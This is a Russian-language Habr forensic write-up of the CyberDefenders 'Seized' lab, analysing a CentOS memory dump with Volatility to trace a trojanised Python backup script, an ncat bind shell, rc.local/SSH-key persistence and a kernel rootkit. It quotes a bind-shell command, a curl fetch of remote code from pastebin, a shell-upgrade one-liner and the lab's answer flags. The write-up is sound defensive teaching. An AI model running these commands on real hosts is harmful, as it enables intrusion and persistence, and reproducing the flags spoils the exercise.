Рубим под корень: расследование атаки на хост с закреплением и запуском rootkit
Привет, Хабр! В предыдущей статье мы разобрали пример фишинга с использованием PDF вложения с вредоносным кодом, на примере задания GetPDF от CyberDefenders.
Сегодня мы поговорим о руткитах – типе вредоносного ПО, предназначенного для предоставления повышенных привилегий на устройстве жертвы без ее ведома. А также потренируемся в расследовании инцидента, связанного с атакой и заражением этим зловредом.
Небольшая справка о руткитах
Согласно книге «The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition» by Bill Blunden: “Руткиты — набор исполняемых (двоичных) файлов, скриптов, конфигурационных файлов (в том числе, специальных утилит), которые позволяют получить доступ к компьютеру и поддерживать его на протяжении времени, не предупреждая об этом владельца.”
Руткиты позволяют злоумышленникам с легкостью получить конфиденциальную информацию, хранящуюся на компьютере жертвы. Это возможно поскольку этот вредонос может выполнять действия как от имени учетной записи пользователя, так и получать полный доступ к системе на уровне ядра ОС, и даже работать на уровне драйверов, что делает его сложно детектируемым.
Как и в прошлый раз, практиковаться мы будем, отвечая на вопросы лабораторного задания Seized с уже известной учебной платформы CyberDefenders.
В ходе расследования авторы задания предлагают нам ответить на 9 вопросов, проанализировав дамп оперативной памяти с ОС CentOS (на базе ядра Linux):
What is the CentOS version installed on the machine?
There is a command containing a strange message in the bash history. Will you be able to read it?
What is the PID of the suspicious process?
The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?
What are the attacker's IP address and the local port on the targeted machine?
What is the first command that the attacker executed?
After changing the user password, we found that the attacker still has access. Can you find out how?
What is the name of the rootkit that the attacker used?
The rootkit uses crc65 encryption. What is the key?
Итак, приступим.
Подготовка
Правильно подобранный набор утилит и хорошо подготовленный стенд — залог успеха в расследовании инцидентов, поэтому начнем именно с этого. Развернем на виртуальной машине ОС на базе *nix. Отмечу, что здесь не принципиально будут ли это дистрибутивы Kali, Ubuntu или что-то другое, более экзотическое. Однако, если в будущем вы захотите продолжить исследования вредоносных сэмплов, то рекомендую развернуть REMnux или SIFT (by SANS), т.к. данные образы ОС уже содержат большой набор необходимых утилит.
После выбора образа и развертывания операционной системы (не буду подробно останавливаться на этом), нам необходимо убедиться, что на стенде установлен язык программирования python2 и менеджер пакетов pip к нему, т.к. Volatility написана на нём (хоть он уже и не поддерживается разработчиками).
Далее загружаем одну из самых популярных утилит для анализа дампа оперативной памяти Volatility: команду к импорту файлов git clone и устанавливаем python setup.py install для загрузки всех необходимых компонентов в систему. Нам также потребуется поставить несколько дополнительных библиотек для модулей Volatility с помощью команды:
pip install pycrypto distorm3 yara
После этого открываем страницу с заданием и загружаем дамп оперативной памяти с профилем ядра — zip файл, который содержит информацию о структуре ядра и отладочных символах и позволяет Volatility корректно распарсить важную информацию.
Посмотреть список доступных профилей после установки и плагинов можно командой:
./vol.py --info
Теперь разархивируем загруженный дамп (dump.mem) и профиль (Centos7.3.10.1062.zip): unzip -o c73-EZDump.zip -d .
и импортируем профиль в необходимую директорию с
загруженной Volatility используя команду:
cp Centos7.3.10.1062.zip /volatility/plugins/overlays/linux/.
Распаковывать архив не нужно. Это позволит продолжить нам анализ содержимого архива. И убедимся, что необходимый профиль доступен в Volatility. Для этого воспользуемся командой: ./vol.py --info | grep LinuxCentos
Вывод должен быть таким:
Volatility Foundation Volatility Framework 2.6.1 LinuxCentos7_3_10_1062x64 — A Profile for Linux Centos7.3.10.1062 x64
Анализ
Прежде всего, давайте определим версию CentOS и заодно ответим на Вопрос №1. What is the CentOS version installed on the machine? Для этого воспользуемся утилитами strings & grep:
strings dump.mem | grep -i ‘Linux release’ | uniq
В результате получим версию релиза:
Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)
Далее в Вопросе №2. There is a command containing a strange message in the bash history. Will you be able to read it? авторы задания просят нас найти странную команду в истории bash. C помощью Volatility мы легко справимся с поставленной задачей, указав путь к дампу оперативной памяти, импортированный профиль и использовав модуль linux_bash (вывод на Рисунке 1):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_bash
Здесь мы видим строку в кодировке base64, давайте ее декодируем:
echo «c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=» | base64 -d
Таким образом, мы получили наш первый флаг и ответ на Вопрос №2:
shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}
Сразу отмечу, что активность в истории начинается с временной метки 14:56:16 (далее — timeline) и обращу ваше внимание на разные PID у процессов bash (в самом низу).
Далее нас просят найти process ID (PID) подозрительного процесса – Вопрос №3. What is the PID of the suspicious process? Для этого мы можем воспользоваться одним из следующих плагинов:
linux_pslist — выводит список текущих процессов из структуры task_structure;
linux_pstree — дерево процессов родительские-> дочерние процессы;
linux_psxview — ищет скрытые процессы;
linux_psscan — сканирует физическую память и ищет процессы (позволяет получить список в том числе уже завершенных процессов и таймлайн их завершения).
Мы воспользуемся первым плагином linux_pslist, т.к. он покажет процессы (process ID – далее PID, UID, GID, Name) и отсортированные timelines для них (Рисунок 2). Сделаем это с помощью команды:
vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pslist
Мы видим, что запущенных процессов много, но я сокращу зону поиска, обратившись к нашему первому timeline из Вопроса №2. Получается, что нас интересуют процессы, запущенные после 14:56:16. Первым подозрительным процессом является PID 2854 – утилита ncat, которая позволяет выстраивать цепочки соединений, пробрасывать порты и многое другое, а также, часто используется злоумышленниками и этичными хакерами. Именно номер этого процесса – 2854 позволяет нам ответить на Вопрос № 3.
Переходим к Вопросу №4. The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor? Внимательный читатель уже наверняка заметил, что когда мы вывели историю bash, отвечая на Вопрос №2, то пользователь в 14:56:25 загрузил с гита python скрипты: git clone
(https://github.com/tw0phi/PythonBackup).
После чего он разархивировал и запустил PythonBackup.py с правами суперпользователя.
Давайте посмотрим на код скрипта. Внимательно изучив, увидим, что в скрипте PythonBackup.py в переменную snapshot передается содержимое функции: generateSnapshot() (Рисунок 3) из кода snapshot.py в директории app.
Заглянув в код snapshot.py и поискав данную функцию, мы увидим обращение к стороннему ресурсу в коде функции (Рисунок 4) и выполнение полученного кода в командной строке.
Выполним команду из скрипта: curl -k https://pastebin.com/raw/nQwMKjtZ
И декодируем полученное содержимое из base64 (Рисунок 5), чтобы определить цели запуска скрипта автором.
Итак, пользователь выполнил скрипт PythonBackup.py с правами суперпользователя, тем самым он запустил netcat в бэкграунде и открыл бэкдор на порт 12345, позволив злоумышленнику попасть на хост:
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null
На этом этапе злоумышленник и попал на хост.
После декодирования строки из base64 мы получили флаг (Рисунок 5):
shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}
В Вопросе №5. What are the attacker’s IP address and the local port on the targeted machine? авторы задания предлагают нам указать IP адрес атакующего и порт на целевом (атакованном) хосте, несмотря на то, что мы уже и так поняли какой был порт ?.
Для этого воспользуемся плагином linux_netstat, который выводит список открытых сокетов, и отсортируем их по флагу «соединение установлено» с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep ‘ESTABLISHED’
В результате мы получили порт и IP адрес, с которым атакуемый хост установил соединение (Рисунок 6).
Здесь мы видим IP адрес атакующего – 192.168.49.1 и целевой порт на атакуемом хосте –12345.
Прежде чем ответить на Вопрос №6. What is the first command that the attacker executed? давайте посмотрим, какие процессы являются дочерними по отношению к ncat (PID 2854). В этом нам поможет плагин linux_pstree, который позволяет выстроить дерево отношений родительских и дочерних процессов. Сделаем это с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pstree
В результате мы видим список: bash (родитель 2854), python (родитель 2876), bash (родитель 2886), vim (родитель 2887), (Рисунок 7).
В дереве процессов можно также заметить, что после запуска командной оболочки bash, атакующий запустил python, который в свою очередь породил новый tty. Предлагаю посмотреть, с какими аргументами был запущен python и заодно ответить на Вопрос №6 What is the first command that the attacker executed? Для этого воспользуемся плагином linux_psaux. Он позволит просмотреть аргументы, с которыми запущен процесс, а также userID и groupID, из-под которых был произведен запуск. Введем команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux
Как видно на Рисунке 8, первой командой, которую атакующий выполнил на хосте с правами суперпользователя после запуска скрипта легитимным пользователем PythonBackup.py, открытия бэкдора в системе и подключения злоумышленника, была:
python -c import pty; pty.spawn(“/bin/bash”)
Данная команда позволяет породить новый tty. Поэтому в дереве процессов на Рисунке 7, python (PID 2886) является родителем процесса bash (PID 2887, да-да, тот самый bash, на который мы с Вами обратили внимание, когда получили историю команд в оболочке bash на Рисунке 1).
В Вопросе №7. After changing the user password, we found that the attacker still has access. Can you find out how? нас просят ответить: как даже после смены пользователем пароля атакующий беспрепятственно продолжил входить на хост?
Итак, после выполнения плагина linux_psaux (Рисунок 8), внимательный читатель наверняка заметил, что атакующий редактировал файл /etc/rc.local редактором vim (PID 3196), rc.local — скрипт, содержимое которого выполняется после старта всех системных служб (здесь можно провести аналогию с автозагрузкой в ОС Windows).
Теперь давайте сделаем дамп процесса vim (PID 3196), чтобы посмотреть какие изменения атакующий внес с использованием данного редактора. Для этого создадим поддиректорию mkdir 3196_vim и выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dump_map -p 3196 -D 3196_vim
В итоге мы получили 90 файлов с расширением .vma. Предлагаю сузить зону поиска с помощью команды: grep -iR «/etc/rc.local»
По данному критерию осталось всего 2 файла:
Binary file ./task.3196.0x22e5000.vma matches
Binary file ./task.3196.0x7ffc1c0c1000.vma matches
Сейчас нам необходимо посмотреть их содержимое и найти интересующую нас информацию (Рисунок 9), для этого воспользуемся сочетанием утилит strings & grep и выполним команду: strings -a task.3196.0x22e5000.vma | grep -A10 «/etc/rc.local»
В дампе содержимого процесса VIM, мы видим, что атакующий в скрипте указал запись ключа шифрования ssh в файл /home/k3vin/.ssh/authorized_keys. Это позволило ему в дальнейшем входить в систему без пароля. Также здесь мы видим строку в base64, которую можно декодировать и получить флаг, чтобы ответить на Вопрос № 7.
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
echo c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= | base64 -d
shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}
Переходим к следующему Вопросу № 8. «What is the name of the rootkit that the attacker used?», где нас просят назвать имя rootkit’a, который использовал атакующий. Чтобы увидеть логи ядра, выполним команду (Рисунок 10):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg
Здесь видим предупреждения ядра о том, что загруженный модуль sysemptyrect не прошел верификацию и может нанести вред ядру, то есть модуль не является доверенным. После чего выполняется шифрование CRC65.
Также посмотрим на системные вызовы и, найдём среди них перехваченные
(HOOKED), выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED
Стало понятно, что один из таких вызовов (номер 88 – это symlink) перехватывается модулем sysemptyrect, на который ядро также выдало предупреждение (Рисунок 11). Имя руткита, который использовал атакующий sysemptyrect.
Осталось ответить на Вопрос № 9. The rootkit uses crc65 encryption. What is the key? – последний вопрос задания.
Мы уже знаем название шифра, теперь нам ничего не мешает пройтись по дампу памяти и найти необходимый ключ: grep -a “crc65*” dump.mem
Результат виден на Рисунке 12. Кроме того, ключ можно обнаружить в дампе процесса bash (PID 2887).
Вывод
Мы разобрали атаку на хост на базе Linux (ОС CentOS) с выполнением вредоносного кода из скрипта, закреплением атакующего в системе и применением rootkit’a.
Причиной проникновения злоумышленника на хост, является запуск скрипта snapshot.py с вредоносным кодом внутри, который вызывался из PythonBackup.py. Главной рекомендацией, которой я бы хотел с вами здесь поделиться – читать содержимое кода перед запуском или не запускать такой код вовсе, тем более с правами суперпользователя.
Буду рад, если статья окажется для вас полезной. Надеюсь, что этот разбор поможет вам в реальной работе. Если у вас есть вопросы – пишите в комментариях!
Автор: @AntonyN0p Антон Кузнецов, ведущий инженер информационной безопасности R-Vision.